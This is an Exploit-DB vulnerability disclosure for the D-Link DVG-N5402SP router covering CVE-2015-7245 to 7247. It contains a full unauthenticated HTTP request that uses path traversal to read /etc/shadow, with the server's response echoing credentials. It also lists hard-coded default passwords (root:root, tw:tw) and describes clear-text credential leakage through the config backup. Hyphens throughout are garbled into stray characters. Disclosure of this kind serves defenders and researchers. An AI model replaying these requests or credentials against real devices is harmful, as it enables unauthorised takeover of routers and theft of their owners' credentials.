Exploit-DB #39409
Description: D-Link DVG­N5402SP - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2016-02-04
Author: Karn Ganeshen

Exploit:
# Exploit Title: [DLink DVGยญN5402SP Multiple Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.dlink.com/]
# Versions Reported: [Multiple - See below]
# CVE-IDs: [CVE-2015-7245 + CVE-2015-7246 + CVE-2015-7247]


*DLink DVGยญN5402SP File Path Traversal, Weak Credentials Management, and
Sensitive Info Leakage Vulnerabilities*
*Vulnerable Models, Firmware, Hardware versions*
DVGยญN5402SP Web Management
Model Name : GPN2.4P21ยญCยญCN
Firmware Version : W1000CNยญ00
Firmware Version :W1000CNยญ03
Firmware Version :W2000ENยญ00
Hardware Platform :ZS
Hardware Version :Gpn2.4P21ยญC_WIFIยญV0.05

Device can be managed through three users:
1. super ยญ full privileges
2. admin ยญ full privileges
3. support ยญ restricted user

*1. Path traversal*
Arbitrary files can be read off of the device file system. No
authentication is required to exploit this vulnerability.
*CVE-ID*: CVE-2015-7245

*HTTP Request *

POST /cgiยญbin/webproc HTTP/1.1
Host: <IP>:8080
UserยญAgent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101
Firefox/39.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
AcceptยญLanguage: enยญUS,en;q=0.5
AcceptยญEncoding: gzip, deflate
Referer: http://<IP>:8080/cgiยญbin/webproc
Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super
Connection: keepยญalive
ContentยญType: application/xยญwwwยญformยญurlencoded
ContentยญLength: 223

getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var%
&objยญaction=auth&%3Ausername=blah&%3A[CREDENTIAL_REDACTED]=login&%3Asessionid=abcdefgh

*HTTP Response*

HTTP/1.0 200 OK
pstValยญ>name:getpage; pstValยญ>value:html/main.html
pstValยญ>name:getpage; pstValยญ>value:html/index.html
pstValยญ>name:errorpage;
pstValยญ>value:../../../../../../../../../../../etc/shadow
pstValยญ>name:var:menu; pstValยญ>value:setup
pstValยญ>name:var:page; pstValยญ>value:connected
pstValยญ>name:var:subpage; pstValยญ>value:ยญ
pstValยญ>name:objยญaction; pstValยญ>value:auth
pstValยญ>name::username; pstValยญ>value:super
pstValยญ>name::password; pstValยญ>value:super
pstValยญ>name::action; pstValยญ>value:login
pstValยญ>name::sessionid; pstValยญ>value:1ac5da6b
Connection: close
Contentยญtype: text/html
Pragma: noยญcache
CacheยญControl: noยญcache
setยญcookie: sessionid=1ac5da6b; expires=Fri, 31ยญDecยญ9999 23:59:59 GMT;
path=/

#root:<hash_redacted>:13796:0:99999:7:::
root:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::


*2. Use of Default, HardยญCoded Credentials**CVE-ID*: CVE-2015-7246

The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login ยญ tw ยญ is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.

*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247

Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in clearยญtext and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
-- 
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in